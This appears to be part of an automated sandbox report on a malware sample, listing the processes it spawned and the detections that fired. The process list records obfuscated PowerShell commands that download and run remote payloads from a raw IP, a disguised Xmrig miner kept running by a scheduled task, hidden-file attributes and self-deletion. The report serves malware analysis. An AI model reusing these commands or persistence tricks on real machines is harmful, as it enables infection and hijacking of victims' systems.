Start time:	11:02:33
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	11:02:33
Start date:	16/12/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff7c6810000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:02:34
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Imagebase:	0xc00000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:02:34
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0xc00000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:02:34
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0xc00000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:02:35
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_5.zip -oextracted
Imagebase:	0xc00000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:02:35
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_4.zip -oextracted
Imagebase:	0x7ff659e10000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:02:35
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_3.zip -oextracted
Imagebase:	0xc00000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:02:35
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe"
Imagebase:	0x2c0000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:02:35
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_2.zip -oextracted
Imagebase:	0xc00000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:02:35
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:02:36
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_1.zip -oextracted
Imagebase:	0xc00000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:02:36
Start date:	16/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H "in.exe"
Imagebase:	0x7ff698e60000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:02:36
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\main\in.exe
Wow64 process (32bit):	false
Commandline:	"in.exe"
Imagebase:	0x7ff63aa00000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:02:36
Start date:	16/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff698e60000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	11:02:36
Start date:	16/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff698e60000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:02:36
Start date:	16/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Imagebase:	0x7ff69d2e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	11:02:36
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:02:36
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:02:37
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.0.0.1; del in.exe
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	11:02:37
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	11:02:37
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	11:02:38
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6329f0000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp, Author: ditekSHen
Antivirus matches:	Detection: 67%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	11:02:39
Start date:	16/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff6bd340000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	11:02:39
Start date:	16/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	explorer.exe
Imagebase:	0x7ff62d7d0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000024.00000002.2299605602.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000024.00000002.2299813982.000000014040B000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000024.00000002.2298187569.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000024.00000002.2298187569.0000000000E59000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	11:02:39
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	11:02:39
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	11:02:40
Start date:	16/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff6bd340000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	11:02:40
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe"
Imagebase:	0x2c0000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	11:02:41
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe"
Imagebase:	0xc60000
File size:	56'832 bytes
MD5 hash:	DAD92292227E72A4A6D88BB64A5530AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	11:02:41
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/Z.png'')'; $F=I`E`X ($L,$Y,$V -Join '')\|I`E`X"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	11:02:41
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	11:02:41
Start date:	16/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 6372 -s 916
Imagebase:	0x7ff7b6140000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	11:02:45
Start date:	16/12/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\ipconfig.exe" /flushdns
Imagebase:	0x7ff6c1a60000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	11:02:46
Start date:	16/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xc10000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	11:02:49
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe"
Imagebase:	0xf20000
File size:	1'809'408 bytes
MD5 hash:	05AB70A5F1FE4D80A81DAC0F7DAA1EE9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	11:02:52
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/A.png'')'; $F=I`E`X ($L,$Y,$V -Join '')\|I`E`X"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: 00000033.00000002.2556831562.0000028B91F19000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	11:02:52
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	11:02:56
Start date:	16/12/2024
Path:	C:\Windows\System32\ipconfig.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\ipconfig.exe" /flushdns
Imagebase:	0x7ff6c1a60000
File size:	35'840 bytes
MD5 hash:	62F170FB07FDBB79CEB7147101406EB8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.8%
Total number of Nodes:	762
Total number of Limit Nodes:	24

Executed Functions

Function 00D5652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,00D5652A,?,?,?,?,?,00D57661), ref: 00D56567

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530186412.0000000000FF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530235859.0000000001020000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530255859.0000000001021000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530276266.0000000001025000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530295304.0000000001027000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530320462.0000000001036000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530376609.0000000001037000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d20000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 3ea2649773349bfd9d483a17970e609edf80fd9ce1796e74f28911a59562d6a8
Instruction ID: 50ff64073cb3f87e911f6b76d3e8c51a4e586c9354ead30f76a4c573d306b6c3
Opcode Fuzzy Hash: 3ea2649773349bfd9d483a17970e609edf80fd9ce1796e74f28911a59562d6a8
Instruction Fuzzy Hash: FFE08630141118AECE257B58C80DA583BA9FB52746F440901FD1447171DB25ED42CA60

Function 0557017F Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1533462434.0000000005570000.00000040.00001000.00020000.00000000.sdmp, Offset: 05570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5570000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 149cdb54ca08c2e1c400a30167e078ed5744b6ac6d936789042bf6a7ce9a12e7
Instruction ID: ddee7af0f942745a74582cf42a21b94fb6ec93eb6e77e154657b21eade647fc2
Opcode Fuzzy Hash: 149cdb54ca08c2e1c400a30167e078ed5744b6ac6d936789042bf6a7ce9a12e7
Instruction Fuzzy Hash: 3FF0F4EB25C1196E7241D2D1BE5CABE3B9AF0D3231331482BF002C81A1E58659495DB5

Function 00D25C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Keyboard Layout\Preload, xrefs: 00D26054
00000423, xrefs: 00D260FA
00000422, xrefs: 00D260C9
0000043f, xrefs: 00D2612B
00000419, xrefs: 00D26098

Memory Dump Source

Source File: 00000000.00000002.1528479517.0000000000D21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000000.00000002.1528283335.0000000000D20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528479517.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529123963.0000000000D89000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529213421.0000000000D8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529252143.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529395446.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529414838.0000000000EF4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529436708.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529483438.0000000000F20000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529501287.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529525630.0000000000F32000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529551621.0000000000F34000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529579252.0000000000F43000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529608093.0000000000F44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529684897.0000000000F4B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529712258.0000000000F4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529742036.0000000000F4D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529776060.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529808846.0000000000F76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529836911.0000000000F7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529877826.0000000000F86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529938288.0000000000F8D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529970245.0000000000F8E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530002283.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530032000.0000000000F9A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530051948.0000000000F9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530067694.0000000000FA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530084183.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530099682.0000000000FAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530113708.0000000000FAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530128400.0000000000FAF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530145941.0000000000FB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1530167760.0000000000FD4000.00000080.00000001.01000000.00000003.sdmpDownload File
